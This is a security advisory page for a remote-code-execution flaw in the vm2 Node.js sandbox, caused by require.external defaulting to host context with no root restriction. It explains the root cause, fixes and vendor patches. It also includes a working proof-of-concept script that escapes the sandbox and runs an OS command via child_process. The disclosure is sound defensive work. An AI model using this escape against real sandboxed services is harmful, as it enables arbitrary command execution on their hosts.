CVE-2026-92946 — vm2
Fix: patriksimek/vm2@903017cCVE-2026-92946 is a CWE-913 vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.
vm2 before 3.11.7 Remote Code Execution via require.external
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-92946.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vm2npmDescription
Summary
NodeVM's require.external option lets sandboxed code require() local files and npm packages. When require.external is enabled and require.root is not explicitly set to a path that excludes node_modules, two defaults combine to fully defeat the sandbox:
require.rootdefaults to unrestricted — "if omitted every path is allowed."require.contextdefaults to"host"— files loaded this way run through the real Node.jsrequire(), not inside any vm2 sandbox.
Sandboxed code can therefore require() a relative or absolute path to vm2's own installed package (node_modules/vm2), obtain the real, unwrapped NodeVM/VM classes, construct a brand-new unrestricted nested NodeVM instance, and execute arbitrary host OS commands via child_process.
This is exploitable using vm2's own documented "Quick Examples" configuration in README.md:
const vm = new NodeVM({
require: {
external: true,
root: './',
},
});
root: './' reads as a safety restriction but, in any ordinary npm project layout, ./node_modules/vm2 sits inside that same directory tree — so the restriction does not exclude vm2 itself. An application built by following the README's quick-start guide is affected by default.
Affected Versions
All vm2 versions where lib/resolver-compat.js's makeResolverFromLegacyOptions predates this report — confirmed present as of the current main (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause).
Details / Root Cause
lib/resolver-compat.js:
const {
builtin: builtinOpt,
mock: mockOpt,
external: externalOpt,
root: rootPaths,
resolve: customResolver,
customRequire: hostRequire = defaultRequire,
context = 'host', // <-- defaults to 'host'
strict = true,
fs: fsOpt = DEFAULT_FS,
} = options;
...
if (!externalOpt) return new Resolver(fsOpt, [], builtins);
...
let checkedRootPaths;
if (rootPaths !== undefined) {
// root is only canonicalized/validated if the embedder explicitly provided one.
...
}
and CustomResolver.isPathAllowed:
isPathAllowed(filename) {
if (this.rootPaths === undefined) return true; // <-- unrestricted when root is omitted
...
}
and CustomResolver.loadJS:
loadJS(vm, mod, filename) {
if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
const m = this.hostRequire(filename); // <-- real host require(), when context === 'host' (the default)
mod.exports = vm.readonly(m);
}
CustomResolver (the resolver used whenever require.external is a bare true, i.e. not a scoped array/object) has no external-module-name allowlist at all — it gates purely on isPathAllowed, which is a no-op when root isn't set. Combined with context defaulting to 'host', any absolute or root-relative path sandboxed code names is loaded and executed via the real, unsandboxed Node.js require().
This is a distinct code path from the two already-fixed advisories that produce a similar end state:
- Category 24 / GHSA-cp6g-6699-wx9c (
require.rootsymlink bypass) assumesrootis configured and attacks the symlink boundary via a TOCTOU betweenpath.resolve()and the native loader's symlink-following.git log -- lib/resolver-compat.jsshows its fix (realpathcanonicalization) is the only history that file has — nothing from thenestingfix touches it, and the fix does nothing whenrootis never set in the first place, since there is no boundary to attack via symlink. - Category 25 / GHSA-8hg8-63c5-gwmx (
nesting: truebypass) closes a different delivery mechanism entirely — theNESTING_OVERRIDE-injectedvm2builtin, gated by a constructor-time check on thenestingoption. That check is never consulted by this path: an embedder withnesting: false(the default) and no dangerousrequire.builtinentries is still fully exposed viarequire.external: truealone.
An embedder who has correctly mitigated both prior advisories remains completely open through this one.
Documentation framing does not mitigate this to "expected behavior." require.external's JSDoc does carry an inline warning ("root should be set to restrict the script from requiring any module"), but it is unbolded prose stating a default, not flagged as dangerous — materially weaker than nesting: true's bolded WARNING, dedicated README section, and explicit "grants unrestricted host module access" language, all of which existed and still did not prevent nesting from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown "Quick Examples" snippet in README.md sets root: './', which reads as an active safety choice, not an acknowledgment of "every path is allowed."
Proof of Concept
See attached poc.js. Reproduces using vm2's own documented Quick Examples config, in a normal project layout (poc.js next to a real node_modules/vm2 install) — no symlinks, no nesting, no dangerous require.builtin entries, no modification to vm2's source.
const path = require('path');
const { NodeVM } = require('vm2');
const vm = new NodeVM({
require: { external: true, root: './' }, // verbatim from README "Quick Examples"
});
let vm2EntryPoint = path.relative(process.cwd(), require.resolve('vm2')).replace(/\\/g, '/');
if (!vm2EntryPoint.startsWith('.')) vm2EntryPoint = './' + vm2EntryPoint;
const result = vm.run(`
const real = require(${JSON.stringify(vm2EntryPoint)});
const inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } });
module.exports = inner.run("module.exports = require('child_process').execSync('whoami').toString().trim()", 'inner.js');
`, 'untrusted-plugin.js');
console.log(result); // real host username, e.g. "Abisheik M"
Actual output on the test machine:
{ whoami: 'Abisheik M', platform: 'win32' }
Abisheik M is the real OS account executing the Node.js process — not a sandbox artifact.
Impact
Any application that follows vm2's own README "Quick Examples" pattern (or any config with require.external enabled and require.root set to a path that includes node_modules, or omitted entirely) allows sandboxed/untrusted code to:
- Execute arbitrary OS commands via
child_process(full RCE). - Read/write arbitrary files via
fs(once inside the re-instantiated unrestrictedNodeVM). - Fully defeat every other sandbox restriction the embedder configured on the outer
NodeVM— the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance.
Suggested Fix
Mirror the precedent already established for nesting (Category 25) and require.root (Category 24): fail loudly at construction time instead of silently defaulting to an unsafe combination.
In lib/resolver-compat.js's makeResolverFromLegacyOptions, when externalOpt is truthy (bare true, or an object/array not scoped to specific module names only) and rootPaths === undefined, throw a VMError at new NodeVM(...) construction time — extending the same checkedRootPaths eager-probe block that Category 24's fix already introduced for the "root is set but the fs adapter can't realpath" case, to also cover "root was never set at all." This forces embedders to make an explicit, informed choice rather than inheriting an unrestricted default, exactly mirroring how Category 25's fix forces an explicit non-default require object when nesting: true is set.
Additionally: update README.md's "Quick Examples" snippet so it no longer shows a root value that is silently vulnerable to a same-directory node_modules install (e.g. scope it below the project root, or add an explicit callout that root must exclude node_modules).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.11.7npm install vm2@3.11.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vm2 to 3.11.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-92946 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability is rated as an Important severity flaw because an attacker capable of submitting untrusted code to the evaluation sandbox can escape isolation boundaries and execute arbitrary commands with the privileges of the underlying host process. Within affected Red Hat offerings, including Red Hat Developer…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2026-92946 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.1 | ansible-automation-platform/automation-portal:1791295379 | RHSA-2026:80603 |
| Red Hat Ansible Automation Platform 2.2 | ansible-automation-platform/automation-portal:1791293780 | RHSA-2026:80644 |
| Red Hat Ansible Automation Platform 2.2 | ansible-automation-platform/bootc-automation-portal-rhel9:1791865660 | RHSA-2026:82151 |
| Red Hat Developer Hub 1.10 | rhdh/red-hat-developer-hub-backstage-plugin-lightspeed-backend:1791242697 | RHSA-2026:76788 |
| Red Hat Developer Hub 1.10 | rhdh/rhdh-hub-rhel9:1791311495 | RHSA-2026:79088 |
Frequently Asked Questions
Is CVE-2026-92946 in your dependencies?
Find it across npm, including transitive dependencies.